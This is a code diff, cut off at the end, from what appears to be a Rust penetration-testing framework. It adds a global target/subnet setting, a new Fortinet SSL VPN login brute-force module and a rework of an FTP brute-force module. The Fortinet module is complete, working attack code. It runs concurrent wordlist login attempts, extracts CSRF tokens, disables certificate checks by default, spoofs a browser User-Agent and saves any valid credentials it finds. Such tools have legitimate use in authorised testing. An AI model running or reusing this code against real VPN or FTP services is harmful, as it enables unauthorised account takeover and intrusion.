     /// IP limit for hardening mode (default: 10 unique IPs)
     #[arg(long, requires = "harden", default_value = "10")]
     pub ip_limit: Option<u32>,
+
+    /// Set global target IP/subnet for all modules
+    #[arg(long)]
+    pub set_target: Option<String>,
 }

src/commands/mod.rs

@@ -4,12 +4,30 @@ pub mod creds;
 
 use anyhow::Result;
 use crate::cli::Cli;
+use crate::config;
 use walkdir::WalkDir;
 use crate::utils::normalize_target;
 
 /// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
 pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
-    let raw = cli_args.target.clone().unwrap_or_default();
+    // Use CLI target if provided, otherwise try global target
+    let raw = if let Some(ref t) = cli_args.target {
+        t.clone()
+    } else if config::GLOBAL_CONFIG.has_target() {
+        // Use single IP from global target (handles subnets intelligently)
+        match config::GLOBAL_CONFIG.get_single_target_ip() {
+            Ok(ip) => {
+                println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
+                ip
+            }
+            Err(e) => {
+                return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
+            }
+        }
+    } else {
+        return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
+    };
+    
     let target = normalize_target(&raw)?; // IPv6 wrap only, no port
     let module = cli_args.module.clone().unwrap_or_default();
 
@@ -35,6 +53,7 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
 }
 
 /// Interactive shell: handles `run` with raw target string
+/// If raw_target is empty, uses global target if available
 pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
     let available = discover_modules();
 
@@ -57,7 +76,26 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
         return Ok(());
     };
 
-    let target = normalize_target(raw_target)?;
+    // Use provided target, or fall back to global target
+    let target_str = if raw_target.is_empty() {
+        if config::GLOBAL_CONFIG.has_target() {
+            match config::GLOBAL_CONFIG.get_single_target_ip() {
+                Ok(ip) => {
+                    println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
+                    ip
+                }
+                Err(e) => {
+                    return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
+                }
+            }
+        } else {
+            return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
+        }
+    } else {
+        raw_target.to_string()
+    };
+
+    let target = normalize_target(&target_str)?;
 
     let mut parts = resolved.splitn(2, '/');
     let category = parts.next().unwrap_or("");

src/config.rs

@@ -0,0 +1,194 @@
+use anyhow::{Result, anyhow};
+use std::sync::{Arc, RwLock};
+use ipnetwork::IpNetwork;
+
+/// Global configuration for the framework
+#[derive(Clone, Debug)]
+pub struct GlobalConfig {
+    /// Global target - can be a single IP or CIDR subnet
+    target: Arc<RwLock<Option<TargetConfig>>>,
+}
+
+#[derive(Clone, Debug)]
+pub enum TargetConfig {
+    /// Single IP address or hostname
+    Single(String),
+    /// CIDR subnet (e.g., "192.168.1.0/24")
+    Subnet(IpNetwork),
+}
+
+impl GlobalConfig {
+    /// Create a new global configuration
+    pub fn new() -> Self {
+        Self {
+            target: Arc::new(RwLock::new(None)),
+        }
+    }
+
+    /// Set the global target (IP, hostname, or CIDR subnet)
+    pub fn set_target(&self, target: &str) -> Result<()> {
+        let trimmed = target.trim();
+        
+        if trimmed.is_empty() {
+            return Err(anyhow!("Target cannot be empty"));
+        }
+
+        // Try to parse as CIDR subnet first
+        if let Ok(network) = trimmed.parse::<IpNetwork>() {
+            let mut target_guard = self.target.write().unwrap();
+            *target_guard = Some(TargetConfig::Subnet(network));
+            return Ok(());
+        }
+
+        // Otherwise, treat as single IP or hostname
+        let mut target_guard = self.target.write().unwrap();
+        *target_guard = Some(TargetConfig::Single(trimmed.to_string()));
+        Ok(())
+    }
+
+    /// Get the global target as a single string (for display)
+    pub fn get_target(&self) -> Option<String> {
+        let target_guard = self.target.read().unwrap();
+        target_guard.as_ref().map(|t| match t {
+            TargetConfig::Single(ip) => ip.clone(),
+            TargetConfig::Subnet(net) => net.to_string(),
+        })
+    }
+
+    /// Get a single IP address from the global target
+    /// For subnets, returns the network address (first IP)
+    pub fn get_single_target_ip(&self) -> Result<String> {
+        let target_guard = self.target.read().unwrap();
+        
+        match target_guard.as_ref() {
+            Some(TargetConfig::Single(ip)) => {
+                Ok(ip.clone())
+            }
+            Some(TargetConfig::Subnet(net)) => {
+                // Return the network address (first IP in the subnet)
+                Ok(net.network().to_string())
+            }
+            None => Err(anyhow!("No global target set")),
+        }
+    }
+
+    /// Get all IP addresses from the global target
+    /// Returns a vector of IP addresses (expands subnets)
+    /// For very large subnets (> 65536 IPs), returns an error
+    pub fn get_target_ips(&self) -> Result<Vec<String>> {
+        let target_guard = self.target.read().unwrap();
+        
+        match target_guard.as_ref() {
+            Some(TargetConfig::Single(ip)) => {
+                // For single IP/hostname, return as-is
+                Ok(vec![ip.clone()])
+            }
+            Some(TargetConfig::Subnet(net)) => {
+                // Check subnet size to prevent memory issues
+                // Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
+                let size = match net {
+                    IpNetwork::V4(net4) => {
+                        let prefix = net4.prefix() as u32;
+                        if prefix >= 32 {
+                            1u64
+                        } else {
+                            2u64.pow(32 - prefix)
+                        }
+                    }
+                    IpNetwork::V6(net6) => {
+                        let prefix = net6.prefix() as u32;
+                        if prefix >= 128 {
+                            1u64
+                        } else {
+                            // For very large IPv6 subnets, cap at u64::MAX
+                            let exp = 128u32.saturating_sub(prefix);
+                            if exp > 63 {
+                                u64::MAX
+                            } else {
+                                2u64.pow(exp)
+                            }
+                        }
+                    }
+                };
+                const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
+                
+                if size > MAX_SUBNET_SIZE {
+                    return Err(anyhow!(
+                        "Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
+                        size, MAX_SUBNET_SIZE
+                    ));
+                }
+                
+                // Expand subnet to individual IPs
+                let mut ips = Vec::new();
+                for ip in net.iter() {
+                    ips.push(ip.to_string());
+                }
+                Ok(ips)
+            }
+            None => Err(anyhow!("No global target set")),
+        }
+    }
+
+    /// Check if global target is set
+    pub fn has_target(&self) -> bool {
+        let target_guard = self.target.read().unwrap();
+        target_guard.is_some()
+    }
+
+    /// Check if global target is a subnet
+    pub fn is_subnet(&self) -> bool {
+        let target_guard = self.target.read().unwrap();
+        matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
+    }
+
+    /// Get the size of the target (number of IPs)
+    /// For single IPs, returns 1
+    /// For subnets, returns the subnet size without expanding
+    pub fn get_target_size(&self) -> Option<u64> {
+        let target_guard = self.target.read().unwrap();
+        match target_guard.as_ref() {
+            Some(TargetConfig::Single(_)) => Some(1),
+            Some(TargetConfig::Subnet(net)) => {
+                // Calculate size from prefix length
+                let size = match net {
+                    IpNetwork::V4(net4) => {
+                        let prefix = net4.prefix() as u32;
+                        if prefix >= 32 {
+                            1u64
+                        } else {
+                            2u64.pow(32 - prefix)
+                        }
+                    }
+                    IpNetwork::V6(net6) => {
+                        let prefix = net6.prefix() as u32;
+                        if prefix >= 128 {
+                            1u64
+                        } else {
+                            let exp = 128u32.saturating_sub(prefix);
+                            if exp > 63 {
+                                u64::MAX
+                            } else {
+                                2u64.pow(exp)
+                            }
+                        }
+                    }
+                };
+                Some(size)
+            }
+            None => None,
+        }
+    }
+
+    /// Clear the global target
+    pub fn clear_target(&self) {
+        let mut target_guard = self.target.write().unwrap();
+        *target_guard = None;
+    }
+}
+
+/// Global configuration instance
+use once_cell::sync::Lazy;
+
+pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
+

src/main.rs

@@ -7,6 +7,7 @@ mod commands;
 mod modules;
 mod utils;
 mod api;
+mod config;
 
 #[tokio::main]
 async fn main() -> Result<()> {
@@ -16,24 +17,31 @@ async fn main() -> Result<()> {
     // Check if API mode is requested
     if cli_args.api {
         let api_key = cli_args
-            .api_key
-            .context("--api-key is required when using --api mode")?;
-        
+        .api_key
+        .context("--api-key is required when using --api mode")?;
+
         let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
+
         // If interface already contains a port (has ':'), use it as-is, otherwise add default port
         let bind_address = if interface.contains(':') {
             interface
         } else {
             format!("{}:8080", interface)
         };
-        
+
         let harden = cli_args.harden;
         let ip_limit = cli_args.ip_limit.unwrap_or(10);
-        
+
         api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
         return Ok(());
     }
 
+    // Set global target if provided
+    if let Some(ref target) = cli_args.set_target {
+        config::GLOBAL_CONFIG.set_target(target)?;
+        println!("✓ Global target set to: {}", target);
+    }
+
     // If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
     if let Some(cmd) = &cli_args.command {
         commands::handle_command(cmd, &cli_args).await?;

src/modules/creds/generic/fortinet_bruteforce.rs

@@ -0,0 +1,518 @@
+use anyhow::{anyhow, Result};
+use colored::*;
+use futures::stream::{FuturesUnordered, StreamExt};
+use reqwest::{ClientBuilder, redirect::Policy};
+use std::{
+    fs::File,
+    io::{BufRead, BufReader, Write},
+    path::{Path, PathBuf},
+    sync::Arc,
+    sync::atomic::{AtomicBool, Ordering},
+};
+use tokio::{
+    sync::{Mutex, Semaphore},
+    time::{sleep, Duration, timeout},
+};
+use regex::Regex;
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("=== Fortinet SSL VPN Brute Force Module ===");
+    println!("[*] Target: {}", target);
+
+    let port: u16 = loop {
+        let input = prompt_default("Fortinet VPN Port", "443")?;
+        match input.trim().parse::<u16>() {
+            Ok(p) if p > 0 => break p,
+            Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
+            Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
+        }
+    };
+
+    let usernames_file_path = loop {
+        let input = prompt_required("Username wordlist path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
+
+    let passwords_file_path = loop {
+        let input = prompt_required("Password wordlist path")?;
+        let path = Path::new(&input);
+        if !path.exists() {
+            println!("{}", format!("File '{}' does not exist.", input).yellow());
+            continue;
+        }
+        if !path.is_file() {
+            println!("{}", format!("'{}' is not a regular file.", input).yellow());
+            continue;
+        }
+        match File::open(path) {
+            Ok(_) => break input,
+            Err(e) => {
+                println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
+                continue;
+            }
+        }
+    };
+
+    let concurrency: usize = loop {
+        let input = prompt_default("Max concurrent tasks", "10")?;
+        match input.trim().parse::<usize>() {
+            Ok(n) if n > 0 && n <= 10000 => break n,
+            Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
+            Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
+        }
+    };
+
+    let timeout_secs: u64 = loop {
+        let input = prompt_default("Connection timeout (seconds)", "10")?;
+        match input.trim().parse::<u64>() {
+            Ok(n) if n > 0 && n <= 300 => break n,
+            Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
+            Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
+            Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
+        }
+    };
+
+    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
+    let save_results = prompt_yes_no("Save results to file?", true)?;
+    let save_path = if save_results {
+        Some(prompt_default("Output file name", "fortinet_results.txt")?)
+    } else {
+        None
+    };
+    let verbose = prompt_yes_no("Verbose mode?", false)?;
+    let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
+    
+    let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
+    let realm = prompt_optional("Authentication realm (optional)")?;
+
+    let base_url = build_fortinet_url(target, port)?;
+    
+    let found_credentials = Arc::new(Mutex::new(Vec::new()));
+    let stop_signal = Arc::new(AtomicBool::new(false));
+
+    println!("\n[*] Starting brute-force on {}", base_url);
+    println!("[*] Timeout: {} seconds", timeout_secs);
+
+    let users = load_lines(&usernames_file_path)?;
+    if users.is_empty() {
+        println!("[!] Username wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+    println!("[*] Loaded {} usernames", users.len());
+
+    let passwords = load_lines(&passwords_file_path)?;
+    if passwords.is_empty() {
+        println!("[!] Password wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+    println!("[*] Loaded {} passwords", passwords.len());
+
+    let semaphore = Arc::new(Semaphore::new(concurrency));
+    let timeout_duration = Duration::from_secs(timeout_secs);
+
+    // Generate all credential pairs based on mode
+    let credential_pairs = if combo_mode {
+        let mut pairs = Vec::new();
+        for user in &users {
+            for pass in &passwords {
+                pairs.push((user.clone(), pass.clone()));
+            }
+        }
+        pairs
+    } else {
+        // Cycle through users for each password
+        passwords.iter().enumerate()
+            .map(|(i, pass)| {
+                let user = users[i % users.len()].clone();
+                (user, pass.clone())
+            })
+            .collect()
+    };
+
+    println!("[*] Testing {} credential combinations", credential_pairs.len());
+
+    let mut tasks = FuturesUnordered::new();
+
+    for (user, pass) in credential_pairs {
+        if stop_on_success && stop_signal.load(Ordering::Relaxed) {
+            break;
+        }
+
+        let base_url_clone = base_url.clone();
+        let realm_clone = realm.clone();
+        let trusted_cert_clone = trusted_cert.clone();
+        let found_credentials_clone = Arc::clone(&found_credentials);
+        let stop_signal_clone = Arc::clone(&stop_signal);
+        let semaphore_clone = Arc::clone(&semaphore);
+        let verbose_flag = verbose;
+        let stop_on_success_flag = stop_on_success;
+
+        tasks.push(tokio::spawn(async move {
+            if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                return;
+            }
+            
+            let _permit = match semaphore_clone.acquire_owned().await {
+                Ok(permit) => permit,
+                Err(_) => return,
+            };
+            
+            if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
+                return;
+            }
+
+            match try_fortinet_login(
+                &base_url_clone, 
+                &user, 
+                &pass, 
+                &realm_clone, 
+                &trusted_cert_clone, 
+                timeout_duration
+            ).await {
+                Ok(true) => {
+                    println!("[+] {} -> {}:{}", base_url_clone, user, pass);
+                    let mut found = found_credentials_clone.lock().await;
+                    found.push((base_url_clone.clone(), user.clone(), pass.clone()));
+                    if stop_on_success_flag {
+                        stop_signal_clone.store(true, Ordering::Relaxed);
+                    }
+                }
+                Ok(false) => {
+                    log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
+                }
+                Err(e) => {
+                    log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
+                }
+            }
+            
+            sleep(Duration::from_millis(100)).await;
+        }));
+    }
+
+    // Wait for all tasks to complete
+    while let Some(res) = tasks.next().await {
+        if let Err(e) = res {
+            log(verbose, &format!("[!] Task join error: {}", e));
+        }
+    }
+
+    let creds = found_credentials.lock().await;
+    if creds.is_empty() {
+        println!("\n[-] No credentials found.");
+    } else {
+        println!("\n[+] Valid credentials found:");
+        for (url, user, pass) in creds.iter() {
+            println!("    {} -> {}:{}", url, user, pass);
+        }
+
+        if let Some(path_str) = save_path {
+            let filename = get_filename_in_current_dir(&path_str);
+            match File::create(&filename) {
+                Ok(mut file) => {
+                    for (url, user, pass) in creds.iter() {
+                        if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
+                            eprintln!("[!] Error writing to result file: {}", filename.display());
+                            break;
+                        }
+                    }
+                    println!("[+] Results saved to '{}'", filename.display());
+                }
+                Err(e) => {
+                    eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
+                }
+            }
+        }
+    }
+
+    Ok(())
+}
+
+async fn try_fortinet_login(
+    base_url: &str, 
+    username: &str, 
+    password: &str, 
+    realm: &Option<String>,
+    trusted_cert: &Option<String>,
+    timeout_duration: Duration
+) -> Result<bool> {
+    let mut client_builder = ClientBuilder::new()
+        .cookie_store(true)
+        .redirect(Policy::none())
+        .timeout(timeout_duration);
+    
+    if trusted_cert.is_some() {
+        client_builder = client_builder
+            .danger_accept_invalid_certs(false)
+            .danger_accept_invalid_hostnames(false);
+    } else {
+        client_builder = client_builder
+            .danger_accept_invalid_certs(true)
+            .danger_accept_invalid_hostnames(true);
+    }
+    
+    let client = client_builder
+        .build()
+        .map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
+
+    // Get login page
+    let login_page_url = format!("{}/remote/login", base_url);
+    
+    let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
+        Ok(Ok(resp)) => resp,
+        Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
+        Err(_) => return Err(anyhow!("Timeout getting login page")),
+    };
+
+    let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
+        Ok(Ok(body)) => body,
+        Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
+        Err(_) => return Err(anyhow!("Timeout reading login page")),
+    };
+
+    let csrf_token = extract_csrf_token(&login_page_body);
+
+    // Prepare login form data
+    let mut form_data = std::collections::HashMap::new();
+    form_data.insert("username", username.to_string());
+    form_data.insert("password", password.to_string());
+    form_data.insert("ajax", "1".to_string());
+    
+    if let Some(ref r) = realm {
+        if !r.is_empty() {
+            form_data.insert("realm", r.clone());
+        }
+    }
+    
+    if let Some(ref token) = csrf_token {
+        form_data.insert("magic", token.clone());
+    }
+
+    // Send login request
+    let login_url = format!("{}/remote/logincheck", base_url);
+    
+    let login_response = match timeout(
+        timeout_duration,
+        client
+            .post(&login_url)
+            .form(&form_data)
+            .header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
+            .header("Referer", &login_page_url)
+            .send()
+    ).await {
+        Ok(Ok(resp)) => resp,
+        Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
+        Err(_) => return Err(anyhow!("Timeout during login request")),
+    };
+
+    let status = login_response.status();
+    
+    let location_header = login_response.headers().get("Location")
+        .and_then(|h| h.to_str().ok())
+        .map(|s| s.to_string());
+    
+    let cookies: Vec<String> = login_response.cookies()
+        .map(|c| c.name().to_string())
+        .collect();
+    
+    let has_auth_cookie = cookies.iter().any(|name| {
+        let lower = name.to_lowercase();
+        lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
+    });
+    
+    let response_body = match timeout(timeout_duration, login_response.text()).await {
+        Ok(Ok(body)) => body,
+        Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
+        Err(_) => return Err(anyhow!("Timeout reading login response")),
+    };
+
+    // Check for success indicators
+    if response_body.contains("redir") 
+        || response_body.contains("\"1\"") 
+        || response_body.contains("success")
+        || response_body.contains("/remote/index")
+        || response_body.contains("portal")
+    {
+        return Ok(true);
+    }
+
+    // Check for failure indicators
+    if response_body.contains("error") 
+        || response_body.contains("invalid") 
+        || response_body.contains("failed")
+        || response_body.contains("incorrect")
+        || response_body.contains("\"0\"")
+    {
+        return Ok(false);
+    }
+
+    // Check status and cookies
+    if status.is_success() && has_auth_cookie {
+        return Ok(true);
+    }
+
+    // Check redirect location
+    if status.as_u16() == 302 {
+        if let Some(ref loc_str) = location_header {
+            if loc_str.contains("/remote/index") 
+                || loc_str.contains("portal")
+                || loc_str.contains("index")
+            {
+                return Ok(true);
+            }
+        }
+    }
+
+    Ok(false)
+}
+
+/// Extracts CSRF token from HTML response
+fn extract_csrf_token(html: &str) -> Option<String> {
+    let patterns = vec![
+        r#"name="magic"\s+value="([^"]+)""#,
+        r#"name="csrf_token"\s+value="([^"]+)""#,
+        r#""magic"\s*:\s*"([^"]+)""#,
+        r#"magic=([^&\s"]+)"#,
+    ];
+
+    for pattern in patterns {
+        if let Ok(re) = Regex::new(pattern) {
+            if let Some(captures) = re.captures(html) {
+                if let Some(token) = captures.get(1) {
+                    return Some(token.as_str().to_string());
+                }
+            }
+        }
+    }
+
+    None
+}
+
+fn prompt_required(msg: &str) -> Result<String> {
+    loop {
+        print!("{}", format!("{}: ", msg).cyan().bold());
+        std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let trimmed = s.trim();
+        if !trimmed.is_empty() {
+            return Ok(trimmed.to_string());
+        } else {
+            println!("{}", "This field is required. Please provide a value.".yellow());
+        }
+    }
+}
+
+fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
+    print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
+    std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+    let mut s = String::new();
+    std::io::stdin().read_line(&mut s)?;
+    let trimmed = s.trim();
+    Ok(if trimmed.is_empty() {
+        default_val.to_string()
+    } else {
+        trimmed.to_string()
+    })
+}
+
+fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
+    let default_char = if default_yes { "y" } else { "n" };
+    loop {
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
+        std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let input = s.trim().to_lowercase();
+        if input.is_empty() {
+            return Ok(default_yes);
+        } else if input == "y" || input == "yes" {
+            return Ok(true);
+        } else if input == "n" || input == "no" {
+            return Ok(false);
+        } else {
+            println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
+        }
+    }
+}
+
+fn prompt_optional(msg: &str) -> Result<Option<String>> {
+    print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
+    std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
+    let mut s = String::new();
+    std::io::stdin().read_line(&mut s)?;
+    let trimmed = s.trim();
+    Ok(if trimmed.is_empty() {
+        None
+    } else {
+        Some(trimmed.to_string())
+    })
+}
+
+/// Builds Fortinet VPN URL with proper IPv6 handling
+fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
+    let clean_target = target.trim_matches(|c| c == '[' || c == ']');
+    let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
+    
+    let url = if is_ipv6 {
+        format!("https://[{}]:{}", clean_target, port)
+    } else {
+        format!("https://{}:{}", clean_target, port)
+    };
+    
+    Ok(url)
+}
+
+fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
+    let file = File::open(path.as_ref())
+        .map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
+    let reader = BufReader::new(file);
+    Ok(reader
+        .lines()
+        .filter_map(Result::ok)
+        .map(|line| line.trim().to_string())
+        .filter(|line| !line.is_empty())
+        .collect())
+}
+
+fn log(verbose: bool, msg: &str) {
+    if verbose {
+        println!("{}", msg);
+    }
+}
+
+fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
+    let path = Path::new(input_path_str);
+    let filename_component = path
+        .file_name()
+        .map(|os_str| os_str.to_string_lossy())
+        .unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
+
+    let final_name = if filename_component.is_empty()
+        || filename_component == "."
+        || filename_component == ".."
+        || filename_component.contains('/')
+        || filename_component.contains('\\')
+    {
+        "fortinet_results.txt"
+    } else {
+        filename_component.as_ref()
+    };
+
+    PathBuf::from(format!("./{}", final_name))
+}

src/modules/creds/generic/ftp_bruteforce.rs

@@ -1,53 +1,18 @@
 use anyhow::{anyhow, Result};
 use colored::*;
-use suppaftp::{
-    AsyncFtpStream,
-    AsyncNativeTlsFtpStream,
-    AsyncNativeTlsConnector,
-};
+use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
 use suppaftp::async_native_tls::TlsConnector;
 use std::{
     fs::File,
     io::{BufRead, BufReader, Write},
     path::PathBuf,
-    sync::Arc, // Keep Arc
-};
-use tokio::{
-    sync::{Mutex, Semaphore}, // Import Semaphore
-    time::{sleep, Duration}
+    sync::Arc,
 };
 use std::path::Path;
-use sysinfo::System;
+use std::sync::atomic::{AtomicBool, Ordering};
+use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
 use futures::stream::{FuturesUnordered, StreamExt};
 
-async fn dynamic_throttle(running: usize, max_concurrency: usize) {
-    let mut system = System::new_all();
-    system.refresh_all();
-
-    let cpu_count = system.cpus().len();
-    let cpu_usage = if cpu_count > 0 {
-        system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
-    } else {
-        0.0
-    };
-    let total_memory = system.total_memory();
-    let ram_used = if total_memory > 0 {
-        system.used_memory() as f32 / total_memory as f32
-    } else {
-        0.0
-    };
-
-    if cpu_usage > 80.0 || ram_used > 0.8 {
-        sleep(Duration::from_millis(50)).await;
-    } else if cpu_usage > 60.0 || ram_used > 0.6 {
-        sleep(Duration::from_millis(25)).await;
-    } else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
-        sleep(Duration::from_millis(10)).await;
-    } else {
-        sleep(Duration::from_millis(1)).await;
-    }
-}
-
 /// Format IPv4 or IPv6 addresses with port
 fn format_addr(target: &str, port: u16) -> String {
     if target.starts_with('[') && target.contains("]:") {
@@ -102,7 +67,7 @@ pub async fn run(target: &str) -> Result<()> {
 
     let addr = format_addr(target, port);
     let found = Arc::new(Mutex::new(Vec::new()));
-    let stop = Arc::new(Mutex::new(false));
+    let stop = Arc::new(AtomicBool::new(false));
 
     println!("\n[*] Starting brute-force on {}", addr);
 
@@ -122,90 +87,99 @@ pub async fn run(target: &str) -> Result<()> {
 
     if combo_mode {
         for user in &users {
-            if *stop.lock().await && stop_on_success { break; }
+            if stop_on_success && stop.load(Ordering::Relaxed) { break; }
             for pass in &passes {
-                if *stop.lock().await && stop_on_success { break; }
+                if stop_on_success && stop.load(Ordering::Relaxed) { break; }
 
                 let addr_clone = addr.clone();
                 let user_clone = user.clone();
                 let pass_clone = pass.clone();
                 let found_clone = Arc::clone(&found);
                 let stop_clone = Arc::clone(&stop);
-                let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
+                let semaphore_clone = Arc::clone(&semaphore);
+                let verbose_flag = verbose;
+                let stop_on_success_flag = stop_on_success;
 
                 tasks.push(tokio::spawn(async move {
-                    // Acquire a permit. This will block if `concurrency` limit is reached.
-                    let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
-
-                    // Proceed with the task logic only after a permit is acquired
-                    if *stop_clone.lock().await && stop_on_success { return; }
-                    match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
+                    if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    let permit = match semaphore_clone.acquire_owned().await {
+                        Ok(permit) => permit,
+                        Err(_) => return,
+                    };
+                    if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
                         Ok(true) => {
                             println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
                             found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
-                            if stop_on_success {
-                                *stop_clone.lock().await = true;
+                            if stop_on_success_flag {
+                                stop_clone.store(true, Ordering::Relaxed);
                             }
                         }
                         Ok(false) => {
-                            log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
+                            log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
                         }
                         Err(e) => {
-                            log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
+                            log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
                         }
                     }
-                    // Permit is automatically released when `_permit` goes out of scope here
+                    drop(permit);
                 }));
             }
         }
-    } else { // Line-by-line mode
-        if !users.is_empty() || passes.is_empty() {
+    } else {
+        if !users.is_empty() {
             for (i, pass) in passes.iter().enumerate() {
-                if *stop.lock().await && stop_on_success { break; }
-                let user = if users.is_empty() { continue; } else {
-                    users.get(i % users.len()).expect("User list modulus logic error").clone()
-                };
+                if stop_on_success && stop.load(Ordering::Relaxed) { break; }
+                let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
 
                 let addr_clone = addr.clone();
                 let pass_clone = pass.clone();
                 let found_clone = Arc::clone(&found);
                 let stop_clone = Arc::clone(&stop);
-                let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
+                let semaphore_clone = Arc::clone(&semaphore);
+                let verbose_flag = verbose;
+                let stop_on_success_flag = stop_on_success;
 
                 tasks.push(tokio::spawn(async move {
-                    // Acquire a permit
-                    let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
-
-                    if *stop_clone.lock().await && stop_on_success { return; }
-                    match try_ftp_login(&addr_clone, &user, &pass_clone).await {
-                         Ok(true) => {
+                    if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    let permit = match semaphore_clone.acquire_owned().await {
+                        Ok(permit) => permit,
+                        Err(_) => return,
+                    };
+                    if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
+                        return;
+                    }
+                    match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
+                        Ok(true) => {
                             println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
                             found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
-                            if stop_on_success {
